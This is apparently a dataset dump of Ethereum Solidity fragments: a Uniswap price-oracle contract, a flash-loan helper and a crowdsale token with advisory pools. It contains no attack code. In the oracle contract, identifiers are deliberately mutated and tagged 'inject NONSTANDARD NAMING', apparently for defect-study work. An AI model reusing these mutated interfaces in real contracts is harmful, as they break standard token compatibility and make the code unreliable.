{ return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
Get the working balance for the stake with the given stake id. _stakeId The id of the stake return The working balance, calculated as stake.amount stake.lockPeriod
function workingBalanceOfStake(uint256 _stakeId) external view returns (uint256) { if (_stakeId < stakes.length) { Stake memory s = stakes[_stakeId]; return _workingBalanceOfStake(s); } return 0; }
11,889,958
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; // abstract contract Context { function _MSGSENDER742() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA476() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED603(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER742(); _owner = msgSender; emit OWNERSHIPTRANSFERRED603(address(0), msgSender); } function OWNER943() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER460() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER742(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP291() public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED603(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP407(address newOwner) public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED603(_owner, newOwner); _owner = newOwner; } } abstract contract PriceProvider is Ownable { address public manager; string public providerName; uint8 public constant decimals686 = 2; // decimals of ethereum price //inject NONSTANDARD NAMING bool public updateRequred; constructor(string memory _providerName, address _manager, bool _updateRequred) public Ownable() { providerName = _providerName; manager = _manager; updateRequred = _updateRequred; } function SETMANAGER980(address _manager) external ONLYOWNER460 { //inject NONSTANDARD NAMING manager = _manager; } function LASTPRICE690() public virtual view returns (uint32); //inject NONSTANDARD NAMING } // interface IERC20 { function TOTALSUPPLY861() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF276(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER827(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE661(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE898(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM273(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER185(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL8(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME190() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL403() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS571() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant resolution887 = 112; //inject NONSTANDARD NAMING // encode a uint112 as a UQ112x112 function ENCODE375(uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING return uq112x112(uint224(x) << resolution887); } // encodes a uint144 as a UQ144x112 function ENCODE144305(uint144 x) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING return uq144x112(uint256(x) << resolution887); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function DIV530(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function MUL252(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function FRACTION125(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << resolution887) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function DECODE122(uq112x112 memory self) internal pure returns (uint112) { //inject NONSTANDARD NAMING return uint112(self._x >> resolution887); } // decode a UQ144x112 into a uint144 by truncating after the radix point function DECODE144956(uq144x112 memory self) internal pure returns (uint144) { //inject NONSTANDARD NAMING return uint144(self._x >> resolution887); } } interface IUniswapV2Pair { event APPROVAL8(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING event TRANSFER185(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING function NAME190() external pure returns (string memory); //inject NONSTANDARD NAMING function SYMBOL403() external pure returns (string memory); //inject NONSTANDARD NAMING function DECIMALS571() external pure returns (uint8); //inject NONSTANDARD NAMING function TOTALSUPPLY861() external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF276(address owner) external view returns (uint); //inject NONSTANDARD NAMING function ALLOWANCE661(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE898(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFER827(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM273(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function DOMAIN_SEPARATOR374() external view returns (bytes32); //inject NONSTANDARD NAMING function PERMIT_TYPEHASH748() external pure returns (bytes32); //inject NONSTANDARD NAMING function NONCES344(address owner) external view returns (uint); //inject NONSTANDARD NAMING function PERMIT537(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING event MINT421(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING event BURN632(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING event SWAP642( //inject NONSTANDARD NAMING address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event SYNC872(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING function MINIMUM_LIQUIDITY496() external pure returns (uint); //inject NONSTANDARD NAMING function FACTORY810() external view returns (address); //inject NONSTANDARD NAMING function TOKEN0628() external view returns (address); //inject NONSTANDARD NAMING function TOKEN1909() external view returns (address); //inject NONSTANDARD NAMING function GETRESERVES186() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING function PRICE0CUMULATIVELAST525() external view returns (uint); //inject NONSTANDARD NAMING function PRICE1CUMULATIVELAST405() external view returns (uint); //inject NONSTANDARD NAMING function KLAST975() external view returns (uint); //inject NONSTANDARD NAMING function MINT537(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING function BURN439(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING function SWAP853(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING function SKIM750(address to) external; //inject NONSTANDARD NAMING function SYNC911() external; //inject NONSTANDARD NAMING function INITIALIZE196(address, address) external; //inject NONSTANDARD NAMING } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function CURRENTBLOCKTIMESTAMP220() internal view returns (uint32) { //inject NONSTANDARD NAMING return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function CURRENTCUMULATIVEPRICES765( //inject NONSTANDARD NAMING address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = CURRENTBLOCKTIMESTAMP220(); price0Cumulative = IUniswapV2Pair(pair).PRICE0CUMULATIVELAST525(); price1Cumulative = IUniswapV2Pair(pair).PRICE1CUMULATIVELAST405(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).GETRESERVES186(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.FRACTION125(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.FRACTION125(reserve0, reserve1)._x) * timeElapsed; } } } // library SafeMath { function ADD549(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB879(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB879(a, b, "SafeMath: subtraction overflow"); } function SUB879(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL252(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV530(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV530(a, b, "SafeMath: division by zero"); } function DIV530(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD417(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD417(a, b, "SafeMath: modulo by zero"); } function MOD417(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function SORTTOKENS809(address tokenA, address tokenB) internal pure returns (address token0, address token1) { //inject NONSTANDARD NAMING require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function PAIRFOR391(address factory, address tokenA, address tokenB) internal pure returns (address pair) { //inject NONSTANDARD NAMING (address token0, address token1) = SORTTOKENS809(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function GETRESERVES186(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { //inject NONSTANDARD NAMING (address token0,) = SORTTOKENS809(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(PAIRFOR391(factory, tokenA, tokenB)).GETRESERVES186(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function QUOTE986(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { //inject NONSTANDARD NAMING require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.MUL252(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function GETAMOUNTOUT221(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { //inject NONSTANDARD NAMING require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.MUL252(997); uint numerator = amountInWithFee.MUL252(reserveOut); uint denominator = reserveIn.MUL252(1000).ADD549(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function GETAMOUNTIN900(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { //inject NONSTANDARD NAMING require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.MUL252(amountOut).MUL252(1000); uint denominator = reserveOut.SUB879(amountOut).MUL252(997); amountIn = (numerator / denominator).ADD549(1); } // performs chained getAmountOut calculations on any number of pairs function GETAMOUNTSOUT486(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i], path[i + 1]); amounts[i + 1] = GETAMOUNTOUT221(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function GETAMOUNTSIN740(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i - 1], path[i]); amounts[i - 1] = GETAMOUNTIN900(amounts[i], reserveIn, reserveOut); } } } contract PriceProviderUniswap is PriceProvider { using FixedPoint for *; using SafeMath for uint; IUniswapV2Pair public immutable pair; address immutable weth; address public immutable stableToken; uint priceCumulativeLast; uint price1CumulativeLast; uint32 blockTimestampLast; bool wethIsToken0; FixedPoint.uq112x112 priceAverage; constructor(address _manager, address _factory, address _weth, address _stableToken) public PriceProvider("Uniswap", _manager, true) { IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.PAIRFOR391(_factory, _weth, _stableToken)); pair = _pair; weth = _weth; if (_weth == _pair.TOKEN0628()) { wethIsToken0 = true; } else { wethIsToken0 = false; } stableToken = _stableToken; if (wethIsToken0 == true) { priceCumulativeLast = _pair.PRICE0CUMULATIVELAST525(); } else { priceCumulativeLast = _pair.PRICE1CUMULATIVELAST405(); } (,,blockTimestampLast) = _pair.GETRESERVES186(); } function UPDATE754() external { //inject NONSTANDARD NAMING require(msg.sender == manager, "manager!"); (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES765(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed if (wethIsToken0 == true) { priceAverage = FixedPoint.uq112x112(uint224((price0Cumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = price0Cumulative; } else { priceAverage = FixedPoint.uq112x112(uint224((price1Cumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = price1Cumulative; } blockTimestampLast = blockTimestamp; } function LASTPRICE690() public override view returns (uint32 price) { //inject NONSTANDARD NAMING uint amountOut = priceAverage.MUL252(1 ether).DECODE144956(); uint8 stableTokenDecimals = ERC20Detailed(stableToken).DECIMALS571(); if (stableTokenDecimals >= decimals686) { price = uint32(amountOut.DIV530(10 ** uint(stableTokenDecimals - decimals686))); } else { price = uint32(amountOut.MUL252(10 ** uint(decimals686 - stableTokenDecimals))); } } }
inject NONSTANDARD NAMING
function TRANSFEROWNERSHIP407(address newOwner) public virtual ONLYOWNER460 {
12,546,385
./full_match/1/0xD05ca8f5B9fd7fa84D1c92b2e64feA8259EeC1ae/sources/browser/CompMiner_flat.sol
main total close position function FLASHLOAN LOGIC END FLASHLOAN LOGIC
function closePositionFlashloan() internal { uint flashLoanAmount = ICToken(cTokenAddress).borrowBalanceCurrent( address(this) ); state = OP.CLOSE; initiateFlashLoan(uint(-1), flashLoanAmount); state = OP.UNKNOWN; }
9,805,955
//Address: 0x25b16c95f3ebb1d8583a1c173f81257bc916a9be //Contract name: SignalsCrowdsale //Balance: 0 Ether //Verification Date: 3/12/2018 //Transacion Count: 1706 // CODE STARTS HERE pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /* * Company reserve pool where the tokens will be locked for two years * @title Company token reserve */ contract AdviserTimeLock is Ownable{ SignalsToken token; uint256 withdrawn; uint start; event TokensWithdrawn(address owner, uint amount); /* * Constructor changing owner to owner multisig & setting time lock * @param address of the Signals Token contract * @param address of the owner multisig */ function AdviserTimeLock(address _token, address _owner) public{ token = SignalsToken(_token); owner = _owner; start = now; } /* * Only function for periodical tokens withdrawal (with monthly allowance) * @dev Will withdraw the whole allowance; */ function withdraw() onlyOwner public { require(now - start >= 25920000); uint toWithdraw = canWithdraw(); token.transfer(owner, toWithdraw); withdrawn += toWithdraw; TokensWithdrawn(owner, toWithdraw); } /* * Only function for the tokens withdrawal (with two years time lock) * @dev Based on division down rounding */ function canWithdraw() public view returns (uint256) { uint256 sinceStart = now - start; uint256 allowed = (sinceStart/2592000)*504546000000000; uint256 toWithdraw; if (allowed > token.balanceOf(address(this))) { toWithdraw = token.balanceOf(address(this)); } else { toWithdraw = allowed - withdrawn; } return toWithdraw; } /* * Function to clean up the state and moved not allocated tokens to custody */ function cleanUp() onlyOwner public { require(token.balanceOf(address(this)) == 0); selfdestruct(owner); } } /* * Pre-allocation pool for company advisers * @title Advisory pool */ contract AdvisoryPool is Ownable{ SignalsToken token; /* * @dev constant addresses of all advisers */ address constant ADVISER1 = 0x7915D5A865FE68C63112be5aD3DCA5187EB08f24; address constant ADVISER2 = 0x31cFF39AA68B91fa7C957272A6aA8fB8F7b69Cb0; address constant ADVISER3 = 0x358b3aeec9fae5ab15fe28d2fe6c7c9fda596857; address constant ADVISER4 = 0x1011FC646261eb5d4aB875886f1470d4919d83c8; address constant ADVISER5 = 0xcc04Cd98da89A9172372aEf4B62BEDecd01A7F5a; address constant ADVISER6 = 0xECD791f8E548D46A9711D853Ead7edC685Ca4ee8; address constant ADVISER7 = 0x38B58e5783fd4D077e422B3362E9d6B265484e3f; address constant ADVISER8 = 0x2934205135A129F995AC891C143cCae83ce175c7; address constant ADVISER9 = 0x9F5D00F4A383bAd14DEfA9aee53C5AF2ad9ad32F; address constant ADVISER10 = 0xBE993c982Fc5a0C0360CEbcEf9e4d2727339d96B; address constant ADVISER11 = 0xdf1E2126eB638335eFAb91a834db4c57Cbe18735; address constant ADVISER12 = 0x8A404969Ad1BCD3F566A7796722f535eD9cA22b2; address constant ADVISER13 = 0x066a8aD6fA94AC83e1AFB5Aa7Dc62eD1D2654bB2; address constant ADVISER14 = 0xA1425Fa987d1b724306d93084b93D62F37482c4b; address constant ADVISER15 = 0x4633515904eE5Bc18bEB70277455525e84a51e90; address constant ADVISER16 = 0x230783Afd438313033b07D39E3B9bBDBC7817759; address constant ADVISER17 = 0xe8b9b07c1cca9aE9739Cec3D53004523Ab206CAc; address constant ADVISER18 = 0x0E73f16CfE7F545C0e4bB63A9Eef18De8d7B422d; address constant ADVISER19 = 0x6B4c6B603ca72FE7dde971CF833a58415737826D; address constant ADVISER20 = 0x823D3123254a3F9f9d3759FE3Fd7d15e21a3C5d8; address constant ADVISER21 = 0x0E48bbc496Ae61bb790Fc400D1F1a57520f772Df; address constant ADVISER22 = 0x06Ee8eCc0145CcaCEc829490e3c557f577BE0e85; address constant ADVISER23 = 0xbE56bFF75A1cB085674Cc37a5C8746fF6C43C442; address constant ADVISER24 = 0xb442b5297E4aEf19E489530E69dFef7fae27F4A5; address constant ADVISER25 = 0x50EF1d6a7435C7FB3dB7c204b74EB719b1EE3dab; address constant ADVISER26 = 0x3e9fed606822D5071f8a28d2c8B51E6964160CB2; AdviserTimeLock public tokenLocker23; /* * Constructor changing owner to owner multisig & calling the allocation * @param address of the Signals Token contract * @param address of the owner multisig */ function AdvisoryPool(address _token, address _owner) public { owner = _owner; token = SignalsToken(_token); } /* * Allocation function, tokens get allocated from this contract as current token owner * @dev only accessible from the constructor */ function initiate() public onlyOwner { require(token.balanceOf(address(this)) == 18500000000000000); tokenLocker23 = new AdviserTimeLock(address(token), ADVISER23); token.transfer(ADVISER1, 380952380000000); token.transfer(ADVISER2, 380952380000000); token.transfer(ADVISER3, 659200000000000); token.transfer(ADVISER4, 95238100000000); token.transfer(ADVISER5, 1850000000000000); token.transfer(ADVISER6, 15384620000000); token.transfer(ADVISER7, 62366450000000); token.transfer(ADVISER8, 116805560000000); token.transfer(ADVISER9, 153846150000000); token.transfer(ADVISER10, 10683760000000); token.transfer(ADVISER11, 114285710000000); token.transfer(ADVISER12, 576923080000000); token.transfer(ADVISER13, 76190480000000); token.transfer(ADVISER14, 133547010000000); token.transfer(ADVISER15, 96153850000000); token.transfer(ADVISER16, 462500000000000); token.transfer(ADVISER17, 462500000000000); token.transfer(ADVISER18, 399865380000000); token.transfer(ADVISER19, 20032050000000); token.transfer(ADVISER20, 35559130000000); token.transfer(ADVISER21, 113134000000000); token.transfer(ADVISER22, 113134000000000); token.transfer(address(tokenLocker23), 5550000000000000); token.transfer(ADVISER23, 1850000000000000); token.transfer(ADVISER24, 100000000000000); token.transfer(ADVISER25, 100000000000000); token.transfer(ADVISER26, 2747253000000000); } /* * Clean up function for token loss prevention and cleaning up Ethereum blockchain * @dev call to clean up the contract */ function cleanUp() onlyOwner public { uint256 notAllocated = token.balanceOf(address(this)); token.transfer(owner, notAllocated); selfdestruct(owner); } } /* * Pre-allocation pool for the community, will be govern by a company multisig * @title Community pool */ contract CommunityPool is Ownable{ SignalsToken token; event CommunityTokensAllocated(address indexed member, uint amount); /* * Constructor changing owner to owner multisig * @param address of the Signals Token contract * @param address of the owner multisig */ function CommunityPool(address _token, address _owner) public{ token = SignalsToken(_token); owner = _owner; } /* * Function to alloc tokens to a community member * @param address of community member * @param uint amount units of tokens to be given away */ function allocToMember(address member, uint amount) public onlyOwner { require(amount > 0); token.transfer(member, amount); CommunityTokensAllocated(member, 